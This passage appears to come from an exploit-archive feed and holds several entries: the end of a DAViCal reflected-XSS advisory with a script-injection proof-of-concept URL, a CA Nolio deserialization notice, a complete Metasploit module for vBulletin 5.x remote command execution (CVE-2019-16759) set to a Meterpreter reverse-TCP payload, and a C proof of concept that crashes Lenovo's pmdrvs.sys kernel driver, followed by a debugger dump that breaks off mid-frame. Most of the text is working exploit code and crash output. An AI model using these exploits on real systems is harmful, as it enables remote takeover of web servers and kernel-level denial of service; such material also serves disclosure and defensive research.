(severe) vulnerabilities. We reported these vulnerabilities to the
vendor. Unfortunately, the DAViCal project itself was not able to fix
these vulnerabilities. As DAViCal is an open source project we decided
to contribute patches for these vulnerabilities ourselves. DAViCal has
accepted our patches in the 1.1.9.1 release. If you use DAViCal as a
calendaring server, we recommend upgrading to version 1.1.9.1 immediately
to remediate the issues we’ve discovered.

All three vulnerabilities exist in the web-based management pages that
come with DAViCal. We have written three separate advisories to describe
the vulnerabilities:

CVE-2019-18345 – (this advisory) Reflected Cross-Site Scripting
CVE-2019-18346 – Cross-Site Request Forgery
CVE-2019-18347 – Persistent Cross-Site Scripting

CVE Reference: CVE-2019-18345
CVSS score: 9.3
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

About DAViCal
=============

DAViCal is a server for calendar sharing. It is an implementation of the
CalDAV protocol which is designed for storing calendaring resources on a
remote shared server. It can be used by various e‑mail and calendaring
clients to centrally store and share calendars.

It includes a web-based management application. It was in these pages
that we discovered this vulnerability.

Affected systems
================

DAViCal CalDAV Server 1.1.8 and prior

Overview
========

A reflected cross-site scripting (XSS) vulnerability was found in
multiple pages of the DAViCal CalDAV Server. This is possible because
the application echoes user supplied input without encoding.

POC URL:
http://davical.host/admin.php?action=edit&t="><script>alert()</script>&id=1

Impact
======

If a user visits an attacker-supplied link, the attacker can view all
data the attacked user can view, as well as perform all actions in the
name of the user. If the user is administrator, the attacker can for
example change the password of the user to take over the account and
gain full access to the application.

Solution
========

Update to version 1.1.9.1

Technical solution details
==========================

XSS vulnerabilities are a problem with dynamically generated websites
that use user input. If user input is not correctly sanitized you could
very well end up with a user pushing some javascript to your frontend.

XSS isn’t a vulnerability that’s hard to grasp or circumvent but it’s
awfully easy to make a mistake like that. One thing you’ll hear over and
over again is never to trust user input. Always sanitize it when it
comes in and it’s best to still not trust it then. Characters like <, >
and " should never be rawly echoed to the frontend. The use cases for
echoing user input back to the frontend are endless. From a simple
"Greetings, $username" to editing personal user information with the
form having all the fields already filled in. So when someone has a
quote in their name, you shouldn’t echo the raw quote but &­quot;.

These days web frameworks handle a lot of sanitation for us. Laravel for
example uses simple brackets to echo variables to the user all these
variables are escaped first: {{ $username }}. Twig does something
similar by using a pipe like syntax: {{ $username | escape}}.

These days when developing your application you need to make sure you
sanitize everything you output to the user. But since DAViCal is an
established project it’s not doable to sift through the code to look for
functions that output text to the frontend. Another problem was that
DAViCal dynamically adds GET parameters to echoed urls. This is why I
chose to sanitize both incoming variables and their names. In the
DAViCal always.php I added a function that loops through the $_GET and
$_POST array recursively (as arrays can contain arrays and so forth) and
run the names and variables through htmlspecialchars() except for the
password field which of course should be able to have special characters
in them.

The reason you don’t do it this way in new applications is because now
if for some reason someone has another way of interacting with your
application (by API calls for example) you’d have to sanitize your input
on both sides. Moreover, APIs that pass JSON objects around for example,
don’t need to have script tags encoded as it means nothing to them and
JSON objects are encoded in a different way. In this case however,
DAViCal doesn’t have other entry points which you can use to insert data
in the database. So sanitizing all input once will suffice!

Responsible Disclosure timeline
===============================

04-Jan-2019 Reported to the DAViCal CalDAV Server project (no response)
21-Jan-2019 Reported to the DAViCal CalDAV Server project again
22-Jan-2019 Report acknowledged
28-May-2019 Asked for an update regarding these vulnerabilities
29-May-2019 The DAViCal project responded that they did not have
resources to implement a fix for these vulnerabilities
31-May-2019 Partnered up with Niels van Gijzen to contribute a patch
24-Oct-2019 CVE-2019-18345, CVE-2019-18346 and CVE-2019-18347 were
assigned to these vulnerabilities
25-Oct-2019 Released a patch that fixes these vulnerabilities
29-Nov-2019 DAViCal verified the patch
03-Dec-2019 DAViCal released version 1.1.9.1 including our patch

Useful links
============

DAViCal 1.1.9.1 Release Notes
https://wiki.davical.org/index.php/Release_Notes/1.1.9.1

DAViCal 1.1.9.1 on Gitlab
https://gitlab.com/davical-project/davical

This advisory
https://hackdefense.com/publications/cve-2019-18345-davical-caldav-server-vulnerability/




CA Nolio 6.6 Arbitrary Code Execution

$
0
0

CA Technologies, A Broadcom Company, is alerting customers to a potential risk with CA Nolio (Release Automation) in the DataManagement component. A vulnerability exists that can allow a remote attacker to execute arbitrary code. CA published a solution to address the vulnerability and recommends that all affected customers implement this solution. The vulnerability occurs due to insecure deserialization. A remote attacker may execute arbitrary commands by exploiting insecure deserialization through the DataManagement service.


MD5 | 9248904c6a72fc2220b9a25d486cb249

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

CA20191209-01: Security Notice for CA Nolio (Release Automation)

Issued: December 9th, 2019
Last Updated: December 9th, 2019

CA Technologies, A Broadcom Company, is alerting customers to a
potential risk with CA Nolio (Release Automation) in the
DataManagement component. A vulnerability exists that can allow a
remote attacker to execute arbitrary code. CA published a solution
to address the vulnerability and recommends that all affected
customers implement this solution.

The vulnerability, CVE-2019-19230, occurs due to insecure
deserialization. A remote attacker may execute arbitrary commands by
exploiting insecure deserialization through the DataManagement
service.

Risk Rating

High

Platform(s)

All supported platforms

Affected Products

CA Nolio (formerly CA Release Automation) 6.6

How to determine if the installation is affected

Customers may use the product version to determine if their Nolio
installation is affected. The vulnerability impacts the
DataManagement component, which is the main product component on all
Management Servers (aka NACs).

Solution

Broadcom published the following solutions to address the
vulnerability. Customers should also review the Secure
Communications documentation.

Fix documentation
Whats.new.6.6.0.10215.txt

CA Nolio (Release Automation) 6.6 Linux:
nolio_patch_linux-x64_6_6_0_b10215.zip

CA Nolio (Release Automation) 6.6 Windows:
nolio_patch_windows-x64_6_6_0_b10215.zip


References
CVE-2019-19230 - CA Nolio (Release Automation) DataManagement
deserialization

Acknowledgement

CVE-2019-19230 - Jakub Palaczynski and Robert Podsiadlo from ING
Tech Poland

Change History

Version 1.0: 2019-12-09 - Initial Release

CA customers may receive product alerts and advisories by
subscribing to Proactive Notifications on the support site.

Customers who require additional information about this notice may
contact CA Technologies Support at https://casupport.broadcom.com/

To report a suspected vulnerability in a CA Technologies product,
please send a summary to CA Technologies Product Vulnerability
Response at ca.psirt <AT> broadcom.com

Security Notices, PGP key, and disclosure policy and guidance
https://techdocs.broadcom.com/ca-psirt

Kevin Kotas
CA Product Security Incident Response Team

Copyright 2019 Broadcom. All Rights Reserved. The term "Broadcom"
refers to Broadcom Inc. and/or its subsidiaries. Broadcom, the pulse
logo, Connecting everything, CA Technologies and the CA technologies
logo are among the trademarks of Broadcom. All trademarks, trade
names, service marks and logos referenced herein belong to their
respective companies.

-----BEGIN PGP SIGNATURE-----
Charset: utf-8

wsBVAwUBXe/B2LZ6yOO9o8STAQjRJgf/XEPmnbxEMup00b9/kySn3PL/W8XEHsb1
xA14xV47ctFsbOwglyjnN5E9fyOgC8ztoAQXNCNC90ZmzFHDTUYPJbm+VTj4IhOa
apEi37D58uRAKK7QWNvxpCBqHwzQETi9UuZ6TUFbw0Xl7qcwFCs2UafZVPAZJfOF
7abjEDDalrhZSjKHjVmb11NpBWESgWeM9QHaG+quZlgI2vQT1MNss8H3GJlJfeEH
UY+iv0RKmNUYleEs/qeV1PKn0B4lAXg2KLcWXjBV4vNk6fCjBj/18Rc88gmYCoQE
HkOXoq1V0nIaOCrPXr/lxKa3b1o3v0vJVXkJftzB8Ao0j2oZaFotiA==
=Ggld
-----END PGP SIGNATURE-----


vBulletin 5.5.4 Remote Command Execution

$
0
0

This Metasploit module exploits vBulletin versions 5.x through 5.5.4 leveraging a remote command execution vulnerability via the widgetConfig[code] parameter in an ajax/render/widget_php routestring POST request.


MD5 | 12d01f78d7c81ffd50f6373629755cb8

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'vBulletin widgetConfig RCE',
'Description' => %q{
vBulletin 5.x through 5.5.4 allows remote command execution via the widgetConfig[code]
parameter in an ajax/render/widget_php routestring POST request.
},
'Author' => [
'unknown', # discovered by an unknown sender.
'mekhalleh (RAMELLA Sébastien)' # this module.
],
'References' => [
['CVE', '2019-16759'],
['URL', 'https://seclists.org/fulldisclosure/2019/Sep/31'],
['URL', 'https://blog.sucuri.net/2019/09/zero-day-rce-in-vbulletin-v5-0-0-v5-5-4.html']
],
'DisclosureDate' => '2019-09-23',
'License' => MSF_LICENSE,
'Platform' => ['php', 'unix', 'windows'],
'Arch' => [ARCH_CMD, ARCH_PHP],
'Privileged' => true,
'Targets' => [
['Meterpreter (PHP In-Memory)',
'Platform' => 'php',
'Arch' => [ARCH_PHP],
'Type' => :php_memory,
'Payload' => {
'BadChars' => "\x22",
},
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'DisablePayloadHandler' => 'false'
}
],
['Unix (CMD In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/generic',
'DisablePayloadHandler' => 'true'
}
],
['Windows (CMD In-Memory)',
'Platform' => 'windows',
'Arch' => ARCH_CMD,
'Type' => :windows_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/generic',
'DisablePayloadHandler' => 'true'
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
))

register_options([
OptString.new('TARGETURI', [true, 'The URI of the vBulletin base path', '/']),
OptEnum.new('PHP_CMD', [true, 'Specify the PHP function in which you want to execute the payload.', 'shell_exec', ['shell_exec', 'exec']])
])

register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
end

def cmd_payload(command)
return("echo #{datastore['PHP_CMD']}('#{command}'); exit;")
end

def execute_command(command)
response = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'encode_params' => true,
'vars_post' => {
'routestring' => 'ajax/render/widget_php',
'widgetConfig[code]' => command
}
})
if (response) && (response.body)
return response
end

return false
end

def check
rand_str = Rex::Text.rand_text_alpha(8)
received = execute_command(cmd_payload("echo #{rand_str}"))
if received && received.body.include?(rand_str)
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

def exploit
unless check.eql? Exploit::CheckCode::Vulnerable
unless datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'The target is not exploitable.')
end
end
vprint_good("The target appears to be vulnerable.")

print_status("Sending #{datastore['PAYLOAD']} command payload")
case target['Type']
when :unix_cmd, :windows_cmd
cmd = cmd_payload(payload.encoded)
vprint_status("Generated command payload: #{cmd}")

received = execute_command(cmd)
if (received) && (datastore['PAYLOAD'] == "cmd/#{target['Platform']}/generic")
print_warning('Dumping command output in body response')
if received.body.empty?
print_error('Empty response, no command output')
return
end
print_line("#{received.body}")
end

when :php_memory
vprint_status("Generated command payload: #{payload.encoded}")
execute_command(payload.encoded)
end
end
end

Lenovo Power Management Driver Buffer Overflow

$
0
0

Lenovo Power Management Driver suffers from buffer overflow vulnerability.


MD5 | 491269e11d6df59f01d64d162f95cca9

# Exploit Title: Lenovo Power Management Driver "pmdrvs.sys" - Buffer Overflow
# Date: 11/12/2019
# Exploit Author: Nassim Asrir
# Contact: wassline@gmail.com | https://www.linkedin.com/in/nassim-asrir-b73a57122/
# CVE: CVE-2019-6192
# Tested On: Windows 10(64bit) | ThinkPad T470p
# Vendor : https://www.lenovo.com/us/en/
# Ref : https://support.lenovo.com/us/fr/solutions/len-29334

# Description

A vulnerability in pmdrvs.sys driver has been discovered in Lenovo Power Management Driver

The vulnerability exists due to insuffiecient input buffer validation when the driver processes IOCTL codes

Attackers can exploit this issue to cause a Denial of Service or possibly execute arbitrary code in kernel space.

# Exploit

#include <windows.h>
#include <stdio.h>
#include <conio.h>

int main(int argc, char **argv)
{
HANDLE hDevice;
DWORD bret;
char szDevice[] = "\\\\.\\pmdrvs";

printf("--[ Lenovo Power Management Driver pmdrvs.sys Denial Of Service ]--\n");

printf("Opening handle to driver..\n");

if ((hDevice = CreateFileA(szDevice, GENERIC_READ | GENERIC_WRITE,0,0,OPEN_EXISTING,0,NULL)) != INVALID_HANDLE_VALUE) {
printf("Device %s succesfully opened!\n", szDevice);
printf("\tHandle: %p\n", hDevice);
}
else
{
printf("Error: Error opening device %s\n", szDevice);
}

printf("\nPress any key to DoS..");
_getch();

bret = 0;

if (!DeviceIoControl(hDevice, 0x80862013, (LPVOID)0xdeadbeef, 0x0, (LPVOID)0xdeadbeef, 0x0, &bret, NULL))
{
printf("DeviceIoControl Error - bytes returned %#x\n", bret);
}

CloseHandle(hDevice);
return 0;
}


# RCA

2: kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************

SYSTEM_SERVICE_EXCEPTION (3b)
An exception happened while executing a system service routine.
Arguments:
Arg1: 00000000c0000005, Exception code that caused the bugcheck
Arg2: fffff80428bf109d, Address of the instruction which caused the bugcheck
Arg3: ffffc709dee8ec50, Address of the context record for the exception that caused the bugcheck
Arg4: 0000000000000000, zero.

FAULTING_IP:
pmdrvs+109d
fffff804`28bf109d 8b07 mov eax,dword ptr [rdi]

CONTEXT: ffffc709dee8ec50 -- (.cxr 0xffffc709dee8ec50)
rax=fffff80428bf5020 rbx=ffffca04ca8f80a0 rcx=ffffc709dee8f6d8
rdx=ffffca04ca8f8170 rsi=ffffca04ca8f8170 rdi=0000000000000000
rip=fffff80428bf109d rsp=ffffc709dee8f640 rbp=ffffca04cc188290
r8=000000000000000e r9=ffffca04c1ca8d40 r10=fffff80428bf5020
r11=ffffc709dee8f6b8 r12=0000000000000000 r13=ffffca04c1ca8d40
r14=0000000000000002 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010246
pmdrvs+0x109d:
fffff804`28bf109d 8b07 mov eax,dword ptr [rdi] ds:002b:00000000`00000000=????????
Resetting default scope

CPU_COUNT: 8

CPU_MHZ: af8

CPU_VENDOR: GenuineIntel

CPU_FAMILY: 6

CPU_MODEL: 9e

CPU_STEPPING: 9

CPU_MICROCODE: 0,0,0,0 (F,M,S,R) SIG: 8E'00000000 (cache) 0'00000000 (init)

BLACKBOXBSD: 1 (!blackboxbsd)


BLACKBOXPNP: 1 (!blackboxpnp)


CURRENT_IRQL: 0

ANALYSIS_SESSION_HOST: LAPTOP-SP

ANALYSIS_SESSION_TIME: 09-30-2019 20:29:54.0485

ANALYSIS_VERSION: 10.0.17763.132 amd64fre

LAST_CONTROL_TRANSFER: from fffff80428bf5060 to fffff80428bf109d

STACK_TEXT:
ffffc709`dee8f640 fffff804`28bf5060 : 00000000`00000000 ffff9980`05b00099 00000000`00000000 00000000`00000000 : pmdrvs+0x109d
ffffc709`dee8f6c0 fffff804`1f12dba9 : ffffca04`ca8f80a0 fffff804`1f6d6224 ffffca04`cc51ff20 00000000`00000000 : pmdrvs+0x5060
ffffc709`dee8f6f0 fffff804`1f6abb11 : ffffc709`dee8fa80 ffffca04`ca8f80a0 00000000`00000001 ffffca04`cc188290 : nt!IofCallDriver+0x59
ffffc709`dee8f730 fffff804`1f6d763c : ffffca04`00000000 ffffca04`cc188290 ffffc709`dee8fa80 ffffc709`dee8fa80 : nt!NtQueryInformationFile+0x1071
ffffc709`dee8f7e0 fffff804`1f64c356 : 00007fff`2fd66712 00000000`00000000 00000000`00000000 00000000`00000000 : nt!NtClose+0xffc
ffffc709`dee8f920 fffff804`1f27a305 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!NtDeviceIoControlFile+0x56
ffffc709`dee8f990 00007fff`33aaf844 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!setjmpex+0x7925
00000000`0068fcf8 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0x00007fff`33aaf844


THREAD_SHA1_HASH_MOD_FUNC: fea423dc9c9c08c703f6d9d5b0d8f7062b0ece68

THREAD_SHA1_HASH_MOD_FUNC_OFFSET: 4653d18777ce51b05029c753677fc2c05d5811bb

THREAD_SHA1_HASH_MOD: c2a3dbda00dbcf5ade5303449052a7349d5c580b

FOLLOWUP_IP:
pmdrvs+109d
fffff804`28bf109d 8b07 mov eax,dword ptr [rdi]

FAULT_INSTR_CODE: 8941078b

SYMBOL_STACK_INDEX: 0

FOLLOWUP_NAME: MachineOwner

STACK_COMMAND: .cxr 0xffffc709dee8ec50 ; kb

BUGCHECK_STR: 2E8B5A19

EXCEPTION_CODE_STR: 2E8B5A19

EXCEPTION_STR: WRONG_SYMBOLS

PROCESS_NAME: ntoskrnl.wrong.symbols.exe

IMAGE_NAME: ntoskrnl.wrong.symbols.exe

MODULE_NAME: nt_wrong_symbols

SYMBOL_NAME: nt_wrong_symbols!2E8B5A19A70000

BUCKET_ID: WRONG_SYMBOLS_X64_17763.1.amd64fre.rs5_release.180914-1434_TIMESTAMP_940930-002145

DEFAULT_BUCKET_ID: WRONG_SYMBOLS_X64_17763.1.amd64fre.rs5_release.180914-1434_TIMESTAMP_940930-002145

PRIMARY_PROBLEM_CLASS: WRONG_SYMBOLS

FAILURE_BUCKET_ID: WRONG_SYMBOLS_X64_17763.1.amd64fre.rs5_release.180914-1434_TIMESTAMP_940930-002145_2E8B5A19_nt_wrong_symbols!2E8B5A19A70000

TARGET_TIME: 2019-09-30T19:27:36.000Z

OSBUILD: 17763

OSSERVICEPACK: 0

SERVICEPACK_NUMBER: 0

OS_REVISION: 0

SUITE_MASK: 272

PRODUCT_TYPE: 1

OSPLATFORM_TYPE: x64

OSNAME: Windows 10

OSEDITION: Windows 10 WinNt TerminalServer SingleUserTS

OS_LOCALE:

USER_LCID: 0

OSBUILD_TIMESTAMP: 1994-09-30 01:21:45

BUILDDATESTAMP_STR: 180914-1434

BUILDLAB_STR: rs5_release

BUILDOSVER_STR: 10.0.17763.1.amd64fre.rs5_release.180914-1434

ANALYSIS_SESSION_ELAPSED_TIME: ae

ANALYSIS_SOURCE: KM

FAILURE_ID_HASH_STRING: km:wrong_symbols_x64_17763.1.amd64fre.rs5_release.180914-1434_timestamp_940930-002145_2e8b5a19_nt_wrong_symbols!2e8b5a19a70000

FAILURE_ID_HASH: {f0486cd4-fec7-73b9-14c0-31bcf2dd24e1}

Followup: MachineOwner
---------

2: kd> u fffff804`28bf109d
pmdrvs+0x109d:
fffff804`28bf109d 8b07 mov eax,dword ptr [rdi]
fffff804`28bf109f 41894308 mov dword ptr [r11+8],eax
fffff804`28bf10a3 e858ffffff call pmdrvs+0x1000 (fffff804`28bf1000)
fffff804`28bf10a8 85c0 test eax,eax
fffff804`28bf10aa 0f8582000000 jne pmdrvs+0x1132 (fffff804`28bf1132)
fffff804`28bf10b0 488b8c2498000000 mov rcx,qword ptr [rsp+98h]
fffff804`28bf10b8 4885c9 test rcx,rcx
fffff804`28bf10bb 7475 je pmdrvs+0x1132 (fffff804`28bf1132)
2: kd> !for_each_frame .frame /r @$Frame
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
00 ffffc709`dee8e318 fffff804`1f27a8e9 nt!KeBugCheckEx
00 ffffc709`dee8e318 fffff804`1f27a8e9 nt!KeBugCheckEx
rax=ffffc709dee8e420 rbx=ffffc709dee8fa00 rcx=000000000000003b
rdx=00000000c0000005 rsi=ffffc709dee8eaf0 rdi=0000000000000000
rip=fffff8041f269040 rsp=ffffc709dee8e318 rbp=ffffc709dee8ea10
r8=fffff80428bf109d r9=ffffc709dee8ec50 r10=0000000000000000
r11=000000001f0b5000 r12=fffff8041f27a305 r13=ffffc709dee8e510
r14=0000000000000000 r15=ffffc709dee8f408
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
nt!KeBugCheckEx:
fffff804`1f269040 48894c2408 mov qword ptr [rsp+8],rcx ss:0018:ffffc709`dee8e320=000000000000003b
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
01 ffffc709`dee8e320 fffff804`1f279d3c nt!setjmpex+0x7f09
01 ffffc709`dee8e320 fffff804`1f279d3c nt!setjmpex+0x7f09
rax=ffffc709dee8e420 rbx=ffffc709dee8fa00 rcx=000000000000003b
rdx=00000000c0000005 rsi=ffffc709dee8eaf0 rdi=0000000000000000
rip=fffff8041f27a8e9 rsp=ffffc709dee8e320 rbp=ffffc709dee8ea10
r8=fffff80428bf109d r9=ffffc709dee8ec50 r10=0000000000000000
r11=000000001f0b5000 r12=fffff8041f27a305 r13=ffffc709dee8e510
r14=0000000000000000 r15=ffffc709dee8f408
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
nt!setjmpex+0x7f09:
fffff804`1f27a8e9 90 nop
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
02 ffffc709`dee8e460 fffff804`1f271b4f nt!setjmpex+0x735c
02 ffffc709`dee8e460 fffff804`1f271b4f nt!setjmpex+0x735c
rax=ffffc709dee8e420 rbx=ffffc709dee8fa00 rcx=000000000000003b
rdx=00000000c0000005 rsi=ffffc709dee8eaf0 rdi=0000000000000000
rip=fffff8041f279d3c rsp=ffffc709dee8e460 rbp=ffffc709dee8ea10
r8=fffff80428bf109d r9=ffffc709dee8ec50 r10=0000000000000000
r11=000000001f0b5000 r12=fffff8041f27a305 r13=ffffc709dee8e510
r14=0000000000000000 r15=ffffc709dee8f408
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
nt!setjmpex+0x735c:
fffff804`1f279d3c b801000000 mov eax,1
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
03 ffffc709`dee8e4a0 fffff804`1f1ca460 nt!_chkstk+0x41f
03 ffffc709`dee8e4a0 fffff804`1f1ca460 nt!_chkstk+0x41f
rax=ffffc709dee8e420 rbx=ffffc709dee8fa00 rcx=000000000000003b
rdx=00000000c0000005 rsi=ffffc709dee8eaf0 rdi=0000000000000000
rip=fffff8041f271b4f rsp=ffffc709dee8e4a0 rbp=ffffc709dee8ea10
r8=fffff80428bf109d r9=ffffc709dee8ec50 r10=0000000000000000
r11=000000001f0b5000 r12=fffff8041f27a305 r13=ffffc709dee8e510
r14=0000000000000000 r15=ffffc709dee8f408
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
nt!_chkstk+0x41f:
fffff804`1f271b4f 0f1f00 nop dword ptr [rax]
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
04 ffffc709`dee8e4d0 fffff804`1f0d7c24 nt!RtlUnwindEx+0x3440
04 ffffc709`dee8e4d0 fffff804`1f0d7c24 nt!RtlUnwindEx+0x3440
rax=ffffc709dee8e420 rbx=ffffc709dee8fa00 rcx=000000000000003b
rdx=00000000c0000005 rsi=ffffc709dee8eaf0 rdi=0000000000000000
rip=fffff8041f1ca460 rsp=ffffc709dee8e4d0 rbp=ffffc709dee8ea10
r8=fffff80428bf109d r9=ffffc709dee8ec50 r10=0000000000000000
r11=000000001f0b5000 r12=fffff8041f27a305 r13=ffffc709dee8e510
r14=0000000000000000 r15=ffffc709dee8f408
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
nt!RtlUnwindEx+0x3440:
fffff804`1f1ca460 8bd0 mov edx,eax
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
05 ffffc709`dee8ec20 fffff804`1f27a9c2 nt!ExReleaseAutoExpandPushLockExclusive+0x264
05 ffffc709`dee8ec20 fffff804`1f27a9c2 nt!ExReleaseAutoExpandPushLockExclusive+0x264
rax=ffffc709dee8e420 rbx=ffffc709dee8f408 rcx=000000000000003b
rdx=00000000c0000005 rsi=ffffc709dee8ec50 rdi=0000000000000000
rip=fffff8041f0d7c24 rsp=ffffc709dee8ec20 rbp=ffffc709dee8f150
r8=fffff80428bf109d r9=ffffc709dee8ec50 r10=0000000000000000
r11=000000001f0b5000 r12=000000000010001f r13=ffffca04c1ca8d40
r14=ffffc709dee8f4b0 r15=0000000000000000
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
nt!ExReleaseAutoExpandPushLockExclusive+0x264:
fffff804`1f0d7c24 84c0 test al,al
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
06 ffffc709`dee8f2d0 fffff804`1f276cae nt!setjmpex+0x7fe2
06 ffffc709`dee8f2d0 fffff804`1f276cae nt!setjmpex+0x7fe2
rax=ffffc709dee8e420 rbx=ffffca04ca8f80a0 rcx=000000000000003b
rdx=00000000c0000005 rsi=ffffca04ca8f8170 rdi=0000000000000000
rip=fffff8041f27a9c2 rsp=ffffc709dee8f2d0 rbp=ffffc709dee8f530
r8=fffff80428bf109d r9=ffffc709dee8ec50 r10=0000000000000000
r11=000000001f0b5000 r12=0000000000000000 r13=ffffca04c1ca8d40
r14=0000000000000002 r15=0000000000000000
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
nt!setjmpex+0x7fe2:
fffff804`1f27a9c2 488d8c2400010000 lea rcx,[rsp+100h]
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
07 ffffc709`dee8f4b0 fffff804`28bf109d nt!setjmpex+0x42ce
07 ffffc709`dee8f4b0 fffff804`28bf109d nt!setjmpex+0x42ce
rax=ffffc709dee8e420 rbx=ffffca04ca8f80a0 rcx=000000000000003b
rdx=00000000c0000005 rsi=ffffca04ca8f8170 rdi=0000000000000000
rip=fffff8041f276cae rsp=ffffc709dee8f4b0 rbp=ffffc709dee8f530
r8=fffff80428bf109d r9=ffffc709dee8ec50 r10=0000000000000000
r11=000000001f0b5000 r12=0000000000000000 r13=ffffca04c1ca8d40
r14=0000000000000002 r15=0000000000000000
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
nt!setjmpex+0x42ce:
fffff804`1f276cae 440f20c0 mov rax,cr8
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
08 ffffc709`dee8f640 fffff804`28bf5060 pmdrvs+0x109d
08 ffffc709`dee8f640 fffff804`28bf5060 pmdrvs+0x109d
rax=fffff80428bf5020 rbx=ffffca04ca8f80a0 rcx=ffffc709dee8f6d8
rdx=ffffca04ca8f8170 rsi=ffffca04ca8f8170 rdi=0000000000000000
rip=fffff80428bf109d rsp=ffffc709dee8f640 rbp=ffffca04cc188290
r8=000000000000000e r9=ffffca04c1ca8d40 r10=fffff80428bf5020
r11=ffffc709dee8f6b8 r12=0000000000000000 r13=ffffca04c1ca8d40
r14=0000000000000002 r15=0000000000000000
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
pmdrvs+0x109d:
fffff804`28bf109d 8b07 mov eax,dword ptr [rdi] ds:002b:00000000`00000000=????????
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
09 ffffc709`dee8f6c0 fffff804`1f12dba9 pmdrvs+0x5060
09 ffffc709`dee8f6c0 fffff804`1f12dba9 pmdrvs+0x5060
rax=fffff80428bf5020 rbx=ffffca04ca8f80a0 rcx=ffffc709dee8f6d8
rdx=ffffca04ca8f8170 rsi=0000000000000001 rdi=0000000000000000
rip=fffff80428bf5060 rsp=ffffc709dee8f6c0 rbp=ffffca04cc188290
r8=000000000000000e r9=ffffca04c1ca8d40 r10=fffff80428bf5020
r11=ffffc709dee8f6b8 r12=0000000000000000 r13=ffffca04c1ca8d40
r14=0000000000000002 r15=0000000000000000
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
pmdrvs+0x5060:
fffff804`28bf5060 eb28 jmp pmdrvs+0x508a (fffff804`28bf508a)
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
0a ffffc709`dee8f6f0 fffff804`1f6abb11 nt!IofCallDriver+0x59
0a ffffc709`dee8f6f0 fffff804`1f6abb11 nt!IofCallDriver+0x59
rax=fffff80428bf5020 rbx=ffffca04ca8f80a0 rcx=ffffc709dee8f6d8
rdx=ffffca04ca8f8170 rsi=0000000000000001 rdi=ffffca04cc188290
rip=fffff8041f12dba9 rsp=ffffc709dee8f6f0 rbp=ffffca04cc188290
r8=000000000000000e r9=ffffca04c1ca8d40 r10=fffff80428bf5020
r11=ffffc709dee8f6b8 r12=0000000000000000 r13=ffffca04c1ca8d40
r14=0000000000000002 r15=0000000000000000
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
nt!IofCallDriver+0x59:
fffff804`1f12dba9 4883c438 add rsp,38h
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
0b ffffc709`dee8f730 fffff804`1f6d763c nt!NtQueryInformationFile+0x1071
0b ffffc709`dee8f730 fffff804`1f6d763c nt!NtQueryInformationFile+0x1071
rax=fffff80428bf5020 rbx=ffffca04ca8f80a0 rcx=ffffc709dee8f6d8
rdx=ffffca04ca8f8170 rsi=0000000000000001 rdi=ffffca04cc188290
rip=fffff8041f6abb11 rsp=ffffc709dee8f730 rbp=ffffca04cc188290
r8=000000000000000e r9=ffffca04c1ca8d40 r10=fffff80428bf5020
r11=ffffc709dee8f6b8 r12=0000000000000000 r13=ffffca04c1ca8d40
r14=0000000000000002 r15=0000000000000000
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
nt!NtQueryInformationFile+0x1071:
